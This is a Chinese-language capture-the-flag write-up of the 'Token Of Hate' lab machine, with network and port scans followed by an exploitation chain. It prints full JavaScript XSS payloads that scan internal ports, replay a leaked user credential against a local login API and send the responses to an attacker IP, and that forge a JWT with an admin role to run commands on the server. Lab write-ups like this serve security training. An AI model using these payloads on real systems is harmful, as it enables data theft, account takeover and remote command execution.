thehackerslabs Token Of Hate靶机复盘

难度-Hard

Posted Mar 25, 2025

5 min read

网段扫描

root@LingMj:~/tools# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d1:27:55, IPv4: 192.168.137.190
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.137.1	3e:21:9c:12:bd:a3	(Unknown: locally administered)
192.168.137.38	3e:21:9c:12:bd:a3	(Unknown: locally administered)
192.168.137.71	a0:78:17:62:e5:0a	Apple, Inc.

8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.038 seconds (125.61 hosts/sec). 3 responded

端口扫描

root@LingMj:~/tools# nmap -p- -sV -sC 192.168.137.38 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 21:56 EDT
Nmap scan report for TheHackersLabs-TokenOfHate.mshome.net (192.168.137.38)
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 fd:6a:70:17:f7:40:07:fe:eb:5a:5d:36:56:32:f0:39 (ECDSA)
|_  256 2d:3d:4b:a1:f6:e3:8d:91:09:4c:a8:b3:85:7d:b5:c1 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Home
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 3E:21:9C:12:BD:A3 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.30 seconds

获取webshell

小马还是很难的，看完wp发现当时做的方向错了不是直接注入替换用户拿到shell，所以我会把内容先说明后面有困难按wp继续

这个小马有图片隐写，出现是一只兔子不过没啥用

这是当时研究的，即使把登录做了但是还是无法成功拿到控制，所以这个方案必然是错误了

注册存在xss我们现在利用这个把token什么的带出来

const checkPort = (port) =>{
  fetch(`http://localhost:${port}`,{mode:"no-cors"}).then(() =>{
    let img = document.createElement("img");
    img.src = `http://192.168.137.190/ping?port=${port}`;
  });

for (let i=1;i<1000;i++) {checkPort(i);}

有点难，我唯一能确定的方式，但是没有其他wp，所以这些都是我直接验证

弹个cookie可以拿东西有点意思了

那么问题来了不知道有啥用现在，突然有眉目了可以把刚刚没成功的代码扔到js文件让他弹东西

我看到它是一个定时任务它会进行js的不断访问

不过好像没成功，换一个方式

当然我不会写都是搬wp的

把东西发到pdf了OK有意思

根据同样方法文件读取

const users = [
    { nombre: "Jose", pas: "FuLqqEAErWQsmTQQQhsb" },
];

function testUser(user) {
    let xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost:3000/login", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.onload = () => {
        if (xhr.status >= 200)
            new Image().src = `http://192.168.137.190/?user=${user.username}&response=${btoa(xhr.responseText)}`
    }
    xhr.send(JSON.stringify(user));
}

users.forEach(async user => {
    // Envía la petición con el body en JSON
    testUser({
        username: user.nombre,
        password: user.pas
    });
});

jwt嵌套jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikpvc2UiLCJyb2xlIjoidXNlciIsImlhdCI6MTc0Mjg3NTExNCwiZXhwIjoxNzQyODc4NzE0fQ.J047S-ajtGvX_A8mqDoRym6jM1QpGnx78VmRxa6m1Rk

解个密改成admin应该就行了

按照这个格式写一下就行了

var command = "id";

// Petición para realizar el login y obtener el token actualizado.
petition1 = new XMLHttpRequest();
petition1.open('POST', 'http://localhost:3000/login', true);
petition1.setRequestHeader('Content-Type', 'application/json');

// Petición para ejecutar el comando.
petition2 = new XMLHttpRequest();
petition2.open('POST', 'http://localhost:3000/command', true);
petition2.setRequestHeader('Content-Type', 'application/json');

function base64urlDecode(str) {
    // Reemplaza caracteres específicos de Base64URL
    str = str.replace(/-/g, '+').replace(/_/g, '/');
    // Añadir padding si es necesario
    while (str.length % 4) {
        str += '=';
    }
    return atob(str);
}

function base64urlEncode(str) {
    return btoa(str)
        .replace(/\+/g, '-')
        .replace(/\//g, '_')
        .replace(/=+$/, '');
}

petition2.onload = () => {
    document.write("Resultado");
    document.write(petition2.responseText);
}

petition1.onload = () => {
    // Obtenemos el token JWT y lo separamos en sus partes.
    let tokenParts = JSON.parse(petition1.responseText).token.split(".");

    // Decodificamos la parte del payload y la convertimos en objeto.
    let payloadDecoded = JSON.parse(base64urlDecode(tokenParts[1]));

    // Modificamos el role del usuario.
    payloadDecoded.role = "admin";

    // Codificamos otra vez el payload modificado.
    tokenParts[1] = base64urlEncode(JSON.stringify(payloadDecoded));

    // Reconstruimos el token modificado.
    let tokenModificado = tokenParts.join(".");

    sendSecondPetition(tokenModificado);
}

function sendSecondPetition(tokenModificado) {
    petition2.send(`{"token":"${tokenModificado}","command":"${command}"}`);
}

petition1.send('{"username":"Jose","password":"FuLqqEAErWQsmTQQQhsb"}');